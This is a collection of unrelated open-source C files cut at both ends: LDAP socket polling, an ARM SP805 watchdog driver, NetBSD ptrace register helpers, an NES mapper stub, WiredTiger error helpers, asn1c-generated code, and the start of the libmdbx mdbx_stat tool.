*)ld->ld_selectinfo; if (ber_sockbuf_ctrl( sb, LBER_SB_OPT_DATA_READY, NULL )) return 1; ber_sockbuf_ctrl( sb, LBER_SB_OPT_GET_FD, &sd ); #ifdef HAVE_POLL /* for UNIX poll(2) */ { int i; for(i=0; i < sip->si_maxfd; i++) { if( sip->si_fds[i].fd == sd ) { return sip->si_fds[i].revents & POLL_READ; } } return 0; } #else /* for UNIX select(2) */ return( FD_ISSET( sd, &sip->si_use_readfds )); #endif } void * ldap_new_select_info( void ) { struct selectinfo *sip; sip = (struct selectinfo *)LDAP_CALLOC( 1, sizeof( struct selectinfo )); if ( sip == NULL ) return NULL; #ifdef HAVE_POLL /* for UNIX poll(2) */ /* sip->si_maxfd=0 */ #else /* for UNIX select(2) */ FD_ZERO( &sip->si_readfds ); FD_ZERO( &sip->si_writefds ); #endif return( (void *)sip ); } void ldap_free_select_info( void *sip ) { LDAP_FREE( sip ); } #ifndef HAVE_POLL int ldap_int_tblsize = 0; void ldap_int_ip_init( void ) { #if defined( HAVE_SYSCONF ) long tblsize = sysconf( _SC_OPEN_MAX ); if( tblsize > INT_MAX ) tblsize = INT_MAX; #elif defined( HAVE_GETDTABLESIZE ) int tblsize = getdtablesize(); #else int tblsize = FD_SETSIZE; #endif /* !USE_SYSCONF */ #ifdef FD_SETSIZE if( tblsize > FD_SETSIZE ) tblsize = FD_SETSIZE; #endif /* FD_SETSIZE */ ldap_int_tblsize = tblsize; } #endif int ldap_int_select( LDAP *ld, struct timeval *timeout ) { int rc; struct selectinfo *sip; Debug0( LDAP_DEBUG_TRACE, "ldap_int_select\n" ); #ifndef HAVE_POLL if ( ldap_int_tblsize == 0 ) ldap_int_ip_init(); #endif sip = (struct selectinfo *)ld->ld_selectinfo; assert( sip != NULL ); #ifdef HAVE_POLL { int to = timeout ? TV2MILLISEC( timeout ) : INFTIM; rc = poll( sip->si_fds, sip->si_maxfd, to ); } #else sip->si_use_readfds = sip->si_readfds; sip->si_use_writefds = sip->si_writefds; rc = select( ldap_int_tblsize, &sip->si_use_readfds, &sip->si_use_writefds, NULL, timeout ); #endif return rc; }
216908.c
/* * drivers/char/watchdog/sp805-wdt.c * * Watchdog driver for ARM SP805 watchdog module * * Copyright (C) 2010 ST Microelectronics * Viresh Kumar<[email protected]> * * This file is licensed under the terms of the GNU General Public * License version 2 or later. This program is licensed "as is" without any * warranty of any kind, whether express or implied. */ #include <linux/device.h> #include <linux/resource.h> #include <linux/amba/bus.h> #include <linux/bitops.h> #include <linux/clk.h> #include <linux/fs.h> #include <linux/init.h> #include <linux/io.h> #include <linux/ioport.h> #include <linux/kernel.h> #include <linux/math64.h> #include <linux/miscdevice.h> #include <linux/module.h> #include <linux/moduleparam.h> #include <linux/slab.h> #include <linux/spinlock.h> #include <linux/types.h> #include <linux/uaccess.h> #include <linux/watchdog.h> /* default timeout in seconds */ #define DEFAULT_TIMEOUT 60 #define MODULE_NAME "sp805-wdt" /* watchdog register offsets and masks */ #define WDTLOAD 0x000 #define LOAD_MIN 0x00000001 #define LOAD_MAX 0xFFFFFFFF #define WDTVALUE 0x004 #define WDTCONTROL 0x008 /* control register masks */ #define INT_ENABLE (1 << 0) #define RESET_ENABLE (1 << 1) #define WDTINTCLR 0x00C #define WDTRIS 0x010 #define WDTMIS 0x014 #define INT_MASK (1 << 0) #define WDTLOCK 0xC00 #define UNLOCK 0x1ACCE551 #define LOCK 0x00000001 /** * struct sp805_wdt: sp805 wdt device structure * * lock: spin lock protecting dev structure and io access * base: base address of wdt * clk: clock structure of wdt * dev: amba device structure of wdt * status: current status of wdt * load_val: load value to be set for current timeout * timeout: current programmed timeout */ struct sp805_wdt { spinlock_t lock; void __iomem *base; struct clk *clk; struct amba_device *adev; unsigned long status; #define WDT_BUSY 0 #define WDT_CAN_BE_CLOSED 1 unsigned int load_val; unsigned int timeout; }; /* local variables */ static struct sp805_wdt *wdt; static int nowayout = WATCHDOG_NOWAYOUT; /* This routine finds load value that will reset system in required timout */ static void wdt_setload(unsigned int timeout) { u64 load, rate; rate = clk_get_rate(wdt->clk); /* * sp805 runs counter with given value twice, after the end of first * counter it gives an interrupt and then starts counter again. If * interrupt already occured then it resets the system. This is why * load is half of what should be required. */ load = div_u64(rate, 2) * timeout - 1; load = (load > LOAD_MAX) ? LOAD_MAX : load; load = (load < LOAD_MIN) ? LOAD_MIN : load; spin_lock(&wdt->lock); wdt->load_val = load; /* roundup timeout to closest positive integer value */ wdt->timeout = div_u64((load + 1) * 2 + (rate / 2), rate); spin_unlock(&wdt->lock); } /* returns number of seconds left for reset to occur */ static u32 wdt_timeleft(void) { u64 load, rate; rate = clk_get_rate(wdt->clk); spin_lock(&wdt->lock); load = readl(wdt->base + WDTVALUE); /*If the interrupt is inactive then time left is WDTValue + WDTLoad. */ if (!(readl(wdt->base + WDTRIS) & INT_MASK)) load += wdt->load_val + 1; spin_unlock(&wdt->lock); return div_u64(load, rate); } /* enables watchdog timers reset */ static void wdt_enable(void) { spin_lock(&wdt->lock); writel(UNLOCK, wdt->base + WDTLOCK); writel(wdt->load_val, wdt->base + WDTLOAD); writel(INT_MASK, wdt->base + WDTINTCLR); writel(INT_ENABLE | RESET_ENABLE, wdt->base + WDTCONTROL); writel(LOCK, wdt->base + WDTLOCK); spin_unlock(&wdt->lock); } /* disables watchdog timers reset */ static void wdt_disable(void) { spin_lock(&wdt->lock); writel(UNLOCK, wdt->base + WDTLOCK); writel(0, wdt->base + WDTCONTROL); writel(0, wdt->base + WDTLOAD); writel(LOCK, wdt->base + WDTLOCK); spin_unlock(&wdt->lock); } static ssize_t sp805_wdt_write(struct file *file, const char *data, size_t len, loff_t *ppos) { if (len) { if (!nowayout) { size_t i; clear_bit(WDT_CAN_BE_CLOSED, &wdt->status); for (i = 0; i != len; i++) { char c; if (get_user(c, data + i)) return -EFAULT; /* Check for Magic Close character */ if (c == 'V') { set_bit(WDT_CAN_BE_CLOSED, &wdt->status); break; } } } wdt_enable(); } return len; } static const struct watchdog_info ident = { .options = WDIOF_MAGICCLOSE | WDIOF_SETTIMEOUT | WDIOF_KEEPALIVEPING, .identity = MODULE_NAME, }; static long sp805_wdt_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { int ret = -ENOTTY; unsigned int timeout; switch (cmd) { case WDIOC_GETSUPPORT: ret = copy_to_user((struct watchdog_info *)arg, &ident, sizeof(ident)) ? -EFAULT : 0; break; case WDIOC_GETSTATUS: ret = put_user(0, (int *)arg); break; case WDIOC_KEEPALIVE: wdt_enable(); ret = 0; break; case WDIOC_SETTIMEOUT: ret = get_user(timeout, (unsigned int *)arg); if (ret) break; wdt_setload(timeout); wdt_enable(); /* Fall through */ case WDIOC_GETTIMEOUT: ret = put_user(wdt->timeout, (unsigned int *)arg); break; case WDIOC_GETTIMELEFT: ret = put_user(wdt_timeleft(), (unsigned int *)arg); break; } return ret; } static int sp805_wdt_open(struct inode *inode, struct file *file) { int ret = 0; if (test_and_set_bit(WDT_BUSY, &wdt->status)) return -EBUSY; ret = clk_enable(wdt->clk); if (ret) { dev_err(&wdt->adev->dev, "clock enable fail"); goto err; } wdt_enable(); /* can not be closed, once enabled */ clear_bit(WDT_CAN_BE_CLOSED, &wdt->status); return nonseekable_open(inode, file); err: clear_bit(WDT_BUSY, &wdt->status); return ret; } static int sp805_wdt_release(struct inode *inode, struct file *file) { if (!test_bit(WDT_CAN_BE_CLOSED, &wdt->status)) { clear_bit(WDT_BUSY, &wdt->status); dev_warn(&wdt->adev->dev, "Device closed unexpectedly\n"); return 0; } wdt_disable(); clk_disable(wdt->clk); clear_bit(WDT_BUSY, &wdt->status); return 0; } static const struct file_operations sp805_wdt_fops = { .owner = THIS_MODULE, .llseek = no_llseek, .write = sp805_wdt_write, .unlocked_ioctl = sp805_wdt_ioctl, .open = sp805_wdt_open, .release = sp805_wdt_release, }; static struct miscdevice sp805_wdt_miscdev = { .minor = WATCHDOG_MINOR, .name = "watchdog", .fops = &sp805_wdt_fops, }; static int __devinit sp805_wdt_probe(struct amba_device *adev, struct amba_id *id) { int ret = 0; if (!request_mem_region(adev->res.start, resource_size(&adev->res), "sp805_wdt")) { dev_warn(&adev->dev, "Failed to get memory region resource\n"); ret = -ENOENT; goto err; } wdt = kzalloc(sizeof(*wdt), GFP_KERNEL); if (!wdt) { dev_warn(&adev->dev, "Kzalloc failed\n"); ret = -ENOMEM; goto err_kzalloc; } wdt->clk = clk_get(&adev->dev, NULL); if (IS_ERR(wdt->clk)) { dev_warn(&adev->dev, "Clock not found\n"); ret = PTR_ERR(wdt->clk); goto err_clk_get; } wdt->base = ioremap(adev->res.start, resource_size(&adev->res)); if (!wdt->base) { ret = -ENOMEM; dev_warn(&adev->dev, "ioremap fail\n"); goto err_ioremap; } wdt->adev = adev; spin_lock_init(&wdt->lock); wdt_setload(DEFAULT_TIMEOUT); ret = misc_register(&sp805_wdt_miscdev); if (ret < 0) { dev_warn(&adev->dev, "cannot register misc device\n"); goto err_misc_register; } dev_info(&adev->dev, "registration successful\n"); return 0; err_misc_register: iounmap(wdt->base); err_ioremap: clk_put(wdt->clk); err_clk_get: kfree(wdt); wdt = NULL; err_kzalloc: release_mem_region(adev->res.start, resource_size(&adev->res)); err: dev_err(&adev->dev, "Probe Failed!!!\n"); return ret; } static int __devexit sp805_wdt_remove(struct amba_device *adev) { misc_deregister(&sp805_wdt_miscdev); iounmap(wdt->base); clk_put(wdt->clk); kfree(wdt); release_mem_region(adev->res.start, resource_size(&adev->res)); return 0; } static struct amba_id sp805_wdt_ids[] __initdata = { { .id = 0x00141805, .mask = 0x00ffffff, }, { 0, 0 }, }; static struct amba_driver sp805_wdt_driver = { .drv = { .name = MODULE_NAME, }, .id_table = sp805_wdt_ids, .probe = sp805_wdt_probe, .remove = __devexit_p(sp805_wdt_remove), }; static int __init sp805_wdt_init(void) { return amba_driver_register(&sp805_wdt_driver); } module_init(sp805_wdt_init); static void __exit sp805_wdt_exit(void) { amba_driver_unregister(&sp805_wdt_driver); } module_exit(sp805_wdt_exit); module_param(nowayout, int, 0); MODULE_PARM_DESC(nowayout, "Set to 1 to keep watchdog running after device release"); MODULE_AUTHOR("Viresh Kumar <[email protected]>"); MODULE_DESCRIPTION("ARM SP805 Watchdog Driver"); MODULE_LICENSE("GPL"); MODULE_ALIAS_MISCDEV(WATCHDOG_MINOR);
823239.c
/* $NetBSD: process_machdep.c,v 1.9 2001/11/24 01:26:23 thorpej Exp $ */ /* * Copyright (c) 1995 Frank Lancaster. All rights reserved. * Copyright (c) 1995 Tools GmbH. All rights reserved. * Copyright (c) 1995 Charles M. Hannum. All rights reserved. * Copyright (c) 1993 The Regents of the University of California. * Copyright (c) 1993 Jan-Simon Pendry * All rights reserved. * * This code is derived from software contributed to Berkeley by * Jan-Simon Pendry. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * From: * Id: procfs_i386.c,v 4.1 1993/12/17 10:47:45 jsp Rel */ /* * This file may seem a bit stylized, but that so that it's easier to port. * Functions to be implemented here are: * * process_read_regs(proc, regs) * Get the current user-visible register set from the process * and copy it into the regs structure (<machine/reg.h>). * The process is stopped at the time read_regs is called. * * process_write_regs(proc, regs) * Update the current register set from the passed in regs * structure. Take care to avoid clobbering special CPU * registers or privileged bits in the PSL. * The process is stopped at the time write_regs is called. * * process_sstep(proc, sstep) * Arrange for the process to trap or not trap depending on sstep * after executing a single instruction. * * process_set_pc(proc) * Set the process's program counter. */ #include "opt_armfpe.h" #include <sys/param.h> __KERNEL_RCSID(0, "$NetBSD: process_machdep.c,v 1.9 2001/11/24 01:26:23 thorpej Exp $"); #include <sys/proc.h> #include <sys/ptrace.h> #include <sys/systm.h> #include <sys/user.h> #include <machine/frame.h> #include <machine/pcb.h> #include <machine/reg.h> #include <arm/armreg.h> #ifdef ARMFPE #include <arm/fpe-arm/armfpe.h> #endif static __inline struct trapframe * process_frame(struct proc *p) { return p->p_addr->u_pcb.pcb_tf; } int process_read_regs(struct proc *p, struct reg *regs) { struct trapframe *tf = process_frame(p); KASSERT(tf != NULL); bcopy((caddr_t)&tf->tf_r0, (caddr_t)regs->r, sizeof(regs->r)); regs->r_sp = tf->tf_usr_sp; regs->r_lr = tf->tf_usr_lr; regs->r_pc = tf->tf_pc; regs->r_cpsr = tf->tf_spsr; #ifdef DIAGNOSTIC if ((tf->tf_spsr & PSR_MODE) == PSR_USR32_MODE && tf->tf_spsr & I32_bit) panic("process_read_regs: Interrupts blocked in user process"); #endif return(0); } int process_read_fpregs(struct proc *p, struct fpreg *regs) { #ifdef ARMFPE arm_fpe_getcontext(p, regs); return(0); #else /* ARMFPE */ /* No hardware FP support */ memset(regs, 0, sizeof(struct fpreg)); return(0); #endif /* ARMFPE */ } int process_write_regs(struct proc *p, struct reg *regs) { struct trapframe *tf = process_frame(p); KASSERT(tf != NULL); bcopy((caddr_t)regs->r, (caddr_t)&tf->tf_r0, sizeof(regs->r)); tf->tf_usr_sp = regs->r_sp; tf->tf_usr_lr = regs->r_lr; #ifdef __PROG32 tf->tf_pc = regs->r_pc; tf->tf_spsr &= ~PSR_FLAGS; tf->tf_spsr |= regs->r_cpsr & PSR_FLAGS; #ifdef DIAGNOSTIC if ((tf->tf_spsr & PSR_MODE) == PSR_USR32_MODE && tf->tf_spsr & I32_bit) panic("process_write_regs: Interrupts blocked in user process"); #endif #else /* __PROG26 */ if ((regs->r_pc & (R15_MODE | R15_IRQ_DISABLE | R15_FIQ_DISABLE)) != 0) return EPERM; tf->tf_r15 = regs->r_pc; #endif return(0); } int process_write_fpregs(struct proc *p, struct fpreg *regs) { #ifdef ARMFPE arm_fpe_setcontext(p, regs); return(0); #else /* ARMFPE */ /* No hardware FP support */ return(0); #endif /* ARMFPE */ } int process_set_pc(struct proc *p, caddr_t addr) { struct trapframe *tf = process_frame(p); KASSERT(tf != NULL); #ifdef __PROG32 tf->tf_pc = (int)addr; #else /* __PROG26 */ /* Only set the PC, not the PSR */ if (((register_t)addr & R15_PC) != (register_t)addr) return EINVAL; tf->tf_r15 = (tf->tf_r15 & ~R15_PC) | (register_t)addr; #endif return (0); }
591107.c
#include "famicom/memory.h" #include "famicom/cart.h" extern Cart cart; static int prgbank1; static int prgbank2; static void UNROM_Init() { } static BYTE UNROM_Read(WORD addr) { } static void UNROM_Write(WORD addr, BYTE val) { } static void UNROM_Step() { } static void UNROM_Save() { } static void UNROM_Load() { } Mapper unrom = { UNROM_Init, UNROM_Read, UNROM_Write, UNROM_Step, UNROM_Save, UNROM_Load };
49935.c
/*- * Copyright (c) 2014-2016 MongoDB, Inc. * Copyright (c) 2008-2014 WiredTiger, Inc. * All rights reserved. * * See the file LICENSE for redistribution information. */ #include "wt_internal.h" /* * __wt_errno -- * Return errno, or WT_ERROR if errno not set. */ int __wt_errno(void) { /* * Called when we know an error occurred, and we want the system * error code, but there's some chance it's not set. */ return (errno == 0 ? WT_ERROR : errno); } /* * __wt_map_error_rdonly -- * Map an error into a WiredTiger error code specific for * read-only operation which intercepts based on certain types * of failures. */ int __wt_map_error_rdonly(int error) { if (error == ENOENT) return (WT_NOTFOUND); else if (error == EACCES) return (WT_PERM_DENIED); return (error); } /* * __wt_strerror -- * POSIX implementation of WT_SESSION.strerror and wiredtiger_strerror. */ const char * __wt_strerror(WT_SESSION_IMPL *session, int error, char *errbuf, size_t errlen) { const char *p; /* * Check for a WiredTiger or POSIX constant string, no buffer needed. */ if ((p = __wt_wiredtiger_error(error)) != NULL) return (p); /* * When called from wiredtiger_strerror, write a passed-in buffer. * When called from WT_SESSION.strerror, write the session's buffer. * * Fallback to a generic message. */ if (session == NULL && snprintf(errbuf, errlen, "error return: %d", error) > 0) return (errbuf); if (session != NULL && __wt_buf_fmt( session, &session->err, "error return: %d", error) == 0) return (session->err.data); /* Defeated. */ return ("Unable to return error string"); }
258784.c
/* ISC license. */ #include <string.h> #include <strings.h> #include <skalibs/bytestr.h> int case_startb (char const *s, size_t slen, char const *t) { size_t tlen = strlen(t) ; return slen < tlen ? 0 : !strncasecmp(s, t, tlen) ; }
438926.c
/* * Generated by asn1c-0.9.29 (http://lionet.info/asn1c) * From ASN.1 module "PKIX1Implicit88" * found in "rfc3280-PKIX1Implicit88.asn1" * `asn1c -S asn1c/skeletons -pdu=all -pdu=Certificate -fwide-types` */ #include "InvalidityDate.h" int InvalidityDate_constraint(asn_TYPE_descriptor_t *td, const void *sptr, asn_app_constraint_failed_f *ctfailcb, void *app_key) { /* Replace with underlying type checker */ td->check_constraints = asn_DEF_GeneralizedTime.check_constraints; return td->check_constraints(td, sptr, ctfailcb, app_key); } /* * This type is implemented using GeneralizedTime, * so here we adjust the DEF accordingly. */ static void InvalidityDate_1_inherit_TYPE_descriptor(asn_TYPE_descriptor_t *td) { td->free_struct = asn_DEF_GeneralizedTime.free_struct; td->print_struct = asn_DEF_GeneralizedTime.print_struct; td->check_constraints = asn_DEF_GeneralizedTime.check_constraints; td->ber_decoder = asn_DEF_GeneralizedTime.ber_decoder; td->der_encoder = asn_DEF_GeneralizedTime.der_encoder; td->xer_decoder = asn_DEF_GeneralizedTime.xer_decoder; td->xer_encoder = asn_DEF_GeneralizedTime.xer_encoder; td->uper_decoder = asn_DEF_GeneralizedTime.uper_decoder; td->uper_encoder = asn_DEF_GeneralizedTime.uper_encoder; if(!td->per_constraints) td->per_constraints = asn_DEF_GeneralizedTime.per_constraints; td->elements = asn_DEF_GeneralizedTime.elements; td->elements_count = asn_DEF_GeneralizedTime.elements_count; td->specifics = asn_DEF_GeneralizedTime.specifics; } void InvalidityDate_free(asn_TYPE_descriptor_t *td, void *struct_ptr, int contents_only) { InvalidityDate_1_inherit_TYPE_descriptor(td); td->free_struct(td, struct_ptr, contents_only); } int InvalidityDate_print(asn_TYPE_descriptor_t *td, const void *struct_ptr, int ilevel, asn_app_consume_bytes_f *cb, void *app_key) { InvalidityDate_1_inherit_TYPE_descriptor(td); return td->print_struct(td, struct_ptr, ilevel, cb, app_key); } asn_dec_rval_t InvalidityDate_decode_ber(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td, void **structure, const void *bufptr, size_t size, int tag_mode) { InvalidityDate_1_inherit_TYPE_descriptor(td); return td->ber_decoder(opt_codec_ctx, td, structure, bufptr, size, tag_mode); } asn_enc_rval_t InvalidityDate_encode_der(asn_TYPE_descriptor_t *td, void *structure, int tag_mode, ber_tlv_tag_t tag, asn_app_consume_bytes_f *cb, void *app_key) { InvalidityDate_1_inherit_TYPE_descriptor(td); return td->der_encoder(td, structure, tag_mode, tag, cb, app_key); } asn_dec_rval_t InvalidityDate_decode_xer(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td, void **structure, const char *opt_mname, const void *bufptr, size_t size) { InvalidityDate_1_inherit_TYPE_descriptor(td); return td->xer_decoder(opt_codec_ctx, td, structure, opt_mname, bufptr, size); } asn_enc_rval_t InvalidityDate_encode_xer(asn_TYPE_descriptor_t *td, void *structure, int ilevel, enum xer_encoder_flags_e flags, asn_app_consume_bytes_f *cb, void *app_key) { InvalidityDate_1_inherit_TYPE_descriptor(td); return td->xer_encoder(td, structure, ilevel, flags, cb, app_key); } static const ber_tlv_tag_t asn_DEF_InvalidityDate_tags_1[] = { (ASN_TAG_CLASS_UNIVERSAL | (24 << 2)) }; asn_TYPE_descriptor_t asn_DEF_InvalidityDate = { "InvalidityDate", "InvalidityDate", InvalidityDate_free, InvalidityDate_print, InvalidityDate_constraint, InvalidityDate_decode_ber, InvalidityDate_encode_der, InvalidityDate_decode_xer, InvalidityDate_encode_xer, 0, 0, /* No PER support, use "-gen-PER" to enable */ 0, /* Use generic outmost tag fetcher */ asn_DEF_InvalidityDate_tags_1, sizeof(asn_DEF_InvalidityDate_tags_1) /sizeof(asn_DEF_InvalidityDate_tags_1[0]), /* 1 */ asn_DEF_InvalidityDate_tags_1, /* Same as above */ sizeof(asn_DEF_InvalidityDate_tags_1) /sizeof(asn_DEF_InvalidityDate_tags_1[0]), /* 1 */ 0, /* No PER visible constraints */ 0, 0, /* No members */ 0 /* No specifics */ };
497164.c
/* mdbx_stat.c - memory-mapped database status tool */ /* * Copyright 2015-2022 Leonid Yuriev <[email protected]> * and other libmdbx authors: please see AUTHORS file. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted only as authorized by the OpenLDAP * Public License. * * A copy of this license is available in the file LICENSE in the * top-level directory of the distribution or, alternatively, at * <http://www.OpenLDAP.org/license.html>. */ #ifdef _MSC_VER #if _MSC_VER > 1800 #pragma warning(disable : 4464) /* relative include path contains '..' */ #endif #pragma warning(disable : 4996) /* The POSIX name is deprecated... */ #endif /* _MSC_VER (warnings) */ #define xMDBX_TOOLS /* Avoid using internal mdbx_assert() */ #include "internals.h" #if defined(_WIN32) || defined(_WIN64) #include "wingetopt.h" static volatile BOOL user_break; static BOOL WINAPI ConsoleBreakHandlerRoutine(DWORD dwCtrlType) { (void)dwCtrlType; user_break = true; return true; } #else /* WINDOWS */ static volatile sig_atomic_t user_break; static void signal_handler(int sig) { (void)sig; user_break = 1; } #endif /* !WINDOWS */ static void print_stat(MDBX_stat *ms) { printf(" Pagesize: %u\n", ms->ms_psize); printf(" Tree depth: %u\n", ms->ms_depth); printf(" Branch pages: %" PRIu64 "\n", ms->ms_branch_pages); printf(" Leaf pages: %" PRIu64 "\n", ms->ms_leaf_pages); printf(" Overflow pages: %" PRIu64 "\n", ms->ms_overflow_pages); printf(" Entries: %" PRIu64 "\n", ms->ms_entries); } static void usage(const char *prog) { fprintf(stderr, "usage: %s [-V] [-q] [-e] [-f[f[f]]] [-r[r]] [-a|-s name] dbpath\n" " -V\t\tprint version and exit\n" " -q\t\tbe quiet\n" " -p\t\tshow statistics of page operations for current session\n" " -e\t\tshow whole DB info\n" " -f\t\tshow GC info\n" " -r\t\tshow readers\n" " -a\t\tprint stat of main DB and all subDBs\n" " -s name\tprint stat of only the specified named subDB\n" " \t\tby default print stat of only the main DB\n", prog); exit(EXIT_FAILURE); } static int reader_list_func(void *ctx, int num, int slot, mdbx_pid_t pid, mdbx_tid_t thread, uint64_t txnid, uint64_t lag, size_t bytes_used, size_t bytes_retained) { (void)ctx; if (num == 1) printf("Reader Table\n" " #\tslot\t%6s %*s %20s %10s %13s %13s\n", "pid", (int)sizeof(size_t) * 2, "thread", "txnid", "lag", "used", "retained"); printf(" %3d)\t[%d]\t%6" PRIdSIZE " %*" PRIxPTR, num, slot, (size_t)pid, (int)sizeof(size_t) * 2, (uintptr_t)thread); if (txnid) printf(" %20" PRIu64 " %10" PRIu64 " %12.1fM %12.1fM\n", txnid, lag, bytes_used / 1048576.0, bytes_retained / 1048576.0); else printf(" %20s %10s %13s %13s\n", "-", "0", "0", "0"); return user_break ? MDBX_RESULT_TRUE : MDBX_RESULT_FALSE; } const char *prog; bool quiet = false; static void error(const char *func, int rc) { if (!quiet) fprintf(stderr, "%s: %s() error %d %s\n", prog, func, rc, mdbx_strerror(rc)); } int main(int argc, char *argv[]) { int opt, rc; MDBX_env *env; MDBX_txn *txn; MDBX_dbi dbi; MDBX_envinfo mei; prog = argv[0]; char *envname; char *subname = nullptr; bool alldbs = false, envinfo = false, pgop = false; int freinfo = 0, rdrinfo = 0; if (argc < 2) usage(prog); while ((opt = getopt(argc, argv, "V" "q" "p" "a" "e" "f" "n" "r" "s:")) != EOF) { switch (opt) { case 'V': printf("mdbx_stat version %d.%d.%d.%d\n" " - source: %s %s, commit %s, tree %s\n" " - anchor: %s\n" " - build: %s for %s by %s\n" " - flags: %s\n" " - options: %s\n", mdbx_version.major, mdbx_version.minor, mdbx_version.release, mdbx_version.revision, mdbx_version.git.describe, mdbx_version.git.datetime, mdbx_version.git.commit, mdbx_version.git.tree, mdbx_sourcery_anchor, mdbx_build.datetime, mdbx_build.target, mdbx_build.compiler, mdbx_build.flags, mdbx_build.options); return EXIT_SUCCESS; case 'q': quiet = true; break; case 'p': pgop = true; break; case 'a': if (subname) usage(prog); alldbs = true; break; case 'e': envinfo = true; break; case 'f': freinfo += 1; break; case 'n': break; case 'r': rdrinfo += 1; break; case 's': if (alldbs) usage(prog); subname = optarg; break; default: usage(prog); } } if (optind != argc - 1) usage(prog); #if defined(_WIN32) || defined(_WIN64) SetConsoleCtrlHandler(ConsoleBreakHandlerRoutine, true); #else #ifdef SIGPIPE signal(SIGPIPE, signal_handler); #endif #ifdef SIGHUP signal(SIGHUP, signal_handler); #endif signal(SIGINT, signal_handler); signal(SIGTERM, signal_handler); #endif /* !WINDOWS */ envname = argv[optind]; envname = argv[optind]; if (!quiet) { printf("mdbx_stat %s (%s, T-%s)\nRunning for %s...\n", mdbx_version.git.describe, mdbx_version.git.datetime, mdbx_version.git.tree, envname); fflush(nullptr); } rc = mdbx_env_create(&env); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_env_create", rc); return EXIT_FAILURE; } if (alldbs || subname) { rc = mdbx_env_set_maxdbs(env, 2); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_env_set_maxdbs", rc); goto env_close; } } rc = mdbx_env_open(env, envname, MDBX_RDONLY, 0); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_env_open", rc); goto env_close; } rc = mdbx_txn_begin(env, nullptr, MDBX_TXN_RDONLY, &txn); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_txn_begin", rc); goto txn_abort; } if (envinfo || freinfo || pgop) { rc = mdbx_env_info_ex(env, txn, &mei, sizeof(mei)); if (unlikely(rc != MDBX_SUCCESS)) { error("mdbx_env_info_ex", rc); goto txn_abort; } } else { /* LY: zap warnings from gcc */ memset(&mei, 0, sizeof(mei)); } if (pgop) { printf("Page Operations (for current session):\n"); printf(" New: %8" PRIu64 "\t// quantity of a new pages added\n", mei.mi_pgop_stat.newly); printf(" CoW: %8" PRIu64 "\t// quantity of pages copied for altering\n", mei.mi_pgop_stat.cow); printf(" Clone: %8" PRIu64 "\t// quantity of parent's dirty pages " "clones for nested transactions\n", mei.mi_pgop_stat.clone); printf(" Split: %8" PRIu64 "\t// page splits during insertions or updates\n", mei.mi_pgop_stat.split); printf(" Merge: %8" PRIu64 "\t// page merges during deletions or updates\n", mei.mi_pgop_stat.merge); printf(" Spill: %8" PRIu64 "\t// quantity of spilled/ousted `dirty` " "pages during large transactions\n", mei.mi_pgop_stat.spill); printf(" Unspill: %8" PRIu64 "\t// quantity of unspilled/redone `dirty` " "pages during large transactions\n", mei.mi_pgop_stat.unspill); printf(" WOP: %8" PRIu64 "\t// number of explicit write operations (not a pages) to a disk\n", mei.mi_pgop_stat.wops); } if (envinfo) { printf("Environment Info\n"); printf(" Pagesize: %u\n", mei.mi_dxb_pagesize); if (mei.mi_geo.lower != mei.mi_geo.upper) { printf(" Dynamic datafile: %" PRIu64 "..%" PRIu64 " bytes (+%" PRIu64 "/-%" PRIu64 "), %" PRIu64 "..%" PRIu64 " pages (+%" PRIu64 "/-%" PRIu64 ")\n", mei.mi_geo.lower, mei.mi_geo.upper, mei.mi_geo.grow, mei.mi_geo.shrink, mei.mi_geo.lower / mei.mi_dxb_pagesize, mei.mi_geo.upper / mei.mi_dxb_pagesize, mei.mi_geo.grow / mei.mi_dxb_pagesize, mei.mi_geo.shrink / mei.mi_dxb_pagesize); printf(" Current mapsize: %" PRIu64 " bytes, %" PRIu64 " pages \n", mei.mi_mapsize, mei.mi_mapsize / mei.mi_dxb_pagesize); printf(" Current datafile: %" PRIu64 " bytes, %" PRIu64 " pages\n", mei.mi_geo.current, mei.mi_geo.current / mei.mi_dxb_pagesize); #if defined(_WIN32) || defined(_WIN64) if (mei.mi_geo.shrink && mei.mi_geo.current != mei.mi_geo.upper) printf(" WARNING: Due Windows system limitations a " "file couldn't\n be truncated while database " "is opened. So, the size of\n database file " "may by large than the database itself,\n " "until it will be closed or reopened in read-write mode.\n"); #endif } else { printf(" Fixed datafile: %" PRIu64 " bytes, %" PRIu64 " pages\n", mei.mi_geo.current, mei.mi_geo.current / mei.mi_dxb_pagesize); } printf(" Last transaction ID: %" PRIu64 "\n", mei.mi_recent_txnid); printf(" Latter reader transaction ID: %" PRIu64 " (%" PRIi64 ")\n", mei.mi_latter_reader_txnid, mei.mi_latter_reader_txnid - mei.mi_recent_txnid); printf(" Max readers: 